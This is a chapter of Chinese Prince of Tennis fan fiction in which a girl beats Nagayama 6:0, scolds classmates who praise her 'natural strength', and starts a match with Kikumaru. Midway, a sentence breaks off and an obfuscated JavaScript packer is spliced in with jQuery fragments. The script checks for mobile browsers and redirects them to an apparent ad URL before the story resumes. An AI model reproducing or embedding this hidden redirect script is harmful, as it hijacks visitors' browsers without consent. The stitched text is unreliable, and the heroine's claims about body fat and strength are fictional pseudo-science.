凤女眉大步返回底线，调整姿势，眼睛盯着对面的人，准备接球。


    乾贞治摊开笔记本，记上一笔。


    裁判是个三年级男生，也不喜欢遇到女生先让两局的规矩，见凤女眉如此，顺着台阶就下了。


    “一盘定胜负，凤对永山，永山发球。”


    永山捏着网球，双眼里满是恼怒。


    2:0开打其实没什么，女生嘛，让她两局无所谓，但凤不同。


    她的发球速度太快了，他根本不能破她发球局，就算他能保住自己的发球局，第八局也会以4:6的比分落败。


    必输的比赛，有什么好打的？所以出言嘲讽，万万没想到凤竟然要求0:0开打。


    可恶！竟然敢看不起他！就让这个发球告诉她，慢跑100圈顶多说明她的耐力好，而男女之间的力量差距是绝对不可逾越的天堑！


    “哈！”


    网球炮弹般砸在凤女眉的半场。


    “好快！力量也很大！”芝纱织的心提了起来。


    井上守叹息：“她不该挑衅的，直接激怒了对手。”


    下一刻，凤女眉快步上网，停在预估的落点位置，正手引拍，一个对角线球砸了回去。


    裁判：“15:0，凤领先。”


    芝纱织惊喜道：“回击了！”然后笑容渐渐消失：“应该不是侥幸吧？”


    当然不是，凤女眉胸有成竹。


    依她看，这场比赛，她有四胜，永山有四败。


    她是女性，永山是男性，此一胜也。


    女性天生拥有匀称的皮下脂肪层，她接球的时候，网球带来的震动会通过球拍传递到手臂，经过脂肪层减震，再到达肌肉分散冲击力，极大减轻关节的负担，增加耐力和韧性。


    脂肪意味着防护力，肌肉则是爆发力，她打网球是攻防一体的。


    男性的身材特征是薄肌薄脂，要是锻炼出肌肉，击球确实颇具力度，但她接球的反馈是跟乒乓球差不多，又因为他们没有天然脂肪的优势，所以脆得要死，接几发威力强的球就破防。


    此二胜也。


    凤女眉全力以赴，而永山可能是打败许多减脂减肥、以胳膊细腿细为荣的弱女，因此骄傲自满，以为那个就是女性的真实水平，认知有误，此三胜也。


    这一战是凤女眉引颈期盼的无差别比赛，她抱着必胜的决心，永山根本不屑与她比赛，此四胜也。


    她有此四胜，于以败永山无难矣。


    啪嗒。


    球拍落在地上，没有击回的网球落在地上，滚远了。


    “比赛结束，6:0，凤获胜。”


    凤女眉站在前场，望着永山，他跪在地上，汗水洒了一地，用拳头砸地，哀嚎出声：“可恶！为什么？怎么会？”


    “……”


    好羞辱人的反应。


    凤女眉无意跟他握手，转身离开球场，刚推开栅栏门，一个人冲到她面前。


    “你太厉害了！你是天生神力吗？”


    凤女眉：“……”


    好家伙，第一次见面就踩她雷点是吧？


    面前的女士穿着灰色无袖上衣和同色七分裤，酒红色的中长发修剪得体，紫红的眼眸闪闪发亮。


    看胳膊，很显然，她也把天生优势给减掉了，皮包骨头，摔一跤得哭好久吧？


    “一定是天生神力，”别的女生凑过来，“不然怎么能击出男生都打不回去的球？”


    “好羡慕，我跟我弟弟抢遥控器都抢不过，男生力气太大了。”


    “怪不得穿男生制服，凤一定是以男生的要求在……”


    凤女眉深呼吸，先回复那位皮包骨头的女士：“不是天生神力，正常吃饭正常锻炼，任何人都可以像我这样，不要用一句天生神力抹杀我的努力。”


    然后扭头看向小皮包骨头们，痛心疾首：“哪里天生神力了？不要天天号丧，找找自己的原因好吧？这么多年力气这么小，别人吃肉蛋奶的时候是不是因为要减肥吃青菜来着？别人在外面打篮球踢足球的时候是不是因为外界要求要安静或者怕晒黑在房间里躺着？反思自己，好吗？”


    就是因为有这群自我矮化并且哄抬猪价的人，才会让永山那种人产生认知障碍。


    等等，不会真有人以弱小为荣吧？天衣无缝捧杀局，一定是这样。


    然而她再看这群皮包骨头，终究不能欺骗自己，狠狠闭了闭眼。


    同样是讨厌自己的群体出现弱小的个体，男生会骂他们是“娘炮”“娘娘腔”，以羞辱的方式唤醒他们的自尊心，凤女眉不会，她只会捂着眼睛走开，眼不见为净。


    反正低自尊的人骂也骂不醒，有那个时间，提升自我不好吗？


    她需要胜五场，现在才是第一场胜利，接下来必定会碰到二年级的桃城武和三年级的菊丸英二，不能懈怠。


    凤女眉在社办门口找大石秀一郎记录完成绩，寻思着看看别人的比赛，路过正在笔记本上记录什么的乾贞治，听他说道：“你要找龙崎教练的话，她在职员室的概率是54.16％，在三楼空闲阶梯教室的概率是42.37％，要是手冢，他在图书阅览室的可能性为7.21％，在学生会的可能性是33.78％，在职员室的可能性是53.65％。”


    她缓缓打出一个问号。


    “找她们干嘛？”


    乾贞治：“你不想知道比赛前让两局是谁定下的吗？你不想让她改了这规矩吗？”


    凤女眉：“我对改变别人没兴趣。”


    她径直离开，听到后面笔尖摩擦纸张的莎莎声以及乾贞治的喃喃自语：“好数据，原来凤是这种性格。”


    凤女眉：“……”


    上午再胜一场，第三场对阵菊丸英二。


    两位记者赶紧来到场外。


    “啊啊，越前的比赛刚结束，凤的比赛马上就开始了，一点喘息的机会都没有嘛，”芝纱织抬手抹了一把汗，查看相机，松了一口气，“幸好还有胶卷。”


    井上守：“凤和越前一样，二连胜且一局都没丢，越前与二年级的正选对战6:3胜了，不知道凤与三年级的正选会打成什么样子，真让人期待啊。”


    他刚一说完，旁边咔咔咔的声音就连成一片，还伴随着“嘿嘿嘿，她真好看”的痴迷声，他扶额，“喂，芝，你收敛点，好歹多拍一点比赛的照片。”


    你拍人家热身做什么？


    “知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224666|165862||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啦，井上前辈。”


    井上守看她活力满满的模样，打趣道：“她之前那么说话，你都不抱怨的吗？”


    芝纱织一愣，想了想说道：“一开始是有点的，但我是大人，不能跟小孩计较。”


    井上守一脸欣慰，正要说什么，芝纱织端起相机对准她就是十八连拍：“哇活动手腕的样子也很有型。”


    井上守：“……”


    是看脸原谅的，对吧？


    没时间多想，裁判的声音将他的视线吸引回球场。


    “一盘定胜负，凤对菊丸，凤发球。”


    一分钟后。


    “1:0，凤领先。”


    “好快……”芝纱织捧着照相机感叹。


    “四发ACE球拿下第一局，很恐怖的一发得分率。”井上附和道。


    Ace球是网球运动术语，一方发球，球落在有效区内，对手没有碰到球使其直接得分。


    “她的发球竟然这么厉害？”之前凤的对手来不及接球，芝纱织还以为他们的能力不行，现在看正式队员也来不及移动，内心很是震撼。


    井上守：“跟身高有点关系，个子高在发球上存在很大优势，你看她，怎么也得有172cm。专业研究表示，身高在193cm之上的选手，发球不用加上旋，球就能平拍入界。”


    “剩下的应该就是技术加持了。”


    “不完全是技术。”


    突然响起的声音把两人都吓了一跳，转头一看，果然是乾贞治。


    他首先纠正凤的身高，准确数据是不穿鞋176cm，然后从她的腿部动作、上臂发力时间、腰肩手臂的配合、腕部的力量论证一个事实。


    支撑这威力巨大发球的根本是她强大的身体素质，如果没有这些，基本动作再完美都是不可能的。


    芝纱织：“……”


    前面都没听懂，但结论她懂了，她内心振奋，挪了两步离乾贞治近了些，问道：“乾同学，在正选队员里，有人能接到凤的发球吗？”


    “以现有的数据来看，手冢能接到的可能性是99.54％。”


    井上守：“那不二同学呢？”


    乾扭头看他，一本正经：“数据不足，无法判断。”


    不二可不是那么容易被收集数据的人。


    “非要说的话，这四发时速均在190km/h之上，超过平均水平，对阵正式队员，反而让她的状态更好了。”乾贞治暗自感叹，同时给她的精神力分数提高一些。


    “但她并非毫无弱点。”


    众人循声望去，是不二周助和大石秀一郎不知何时站在旁边，说话的正是后者。


    “在单打比赛中，发球很占优势，能够先声夺人，以至于很多人都认为她是个老练的网球运动员，难以看出她的弱势，”大石秀一郎盯着球场，“这些是瞒不过英二的。”


    或者说瞒不了任何一个有丰富经验的网球运动员，更不用提大家一起训练了两天。


    “来了！”


    井上一惊，赶忙看去，只见到一道光束穿过球网，瞬息间来到凤的反手位置，而她还维持着正手的架势。


    他恍然，这就是大石同学所说的，凤的弱点吗？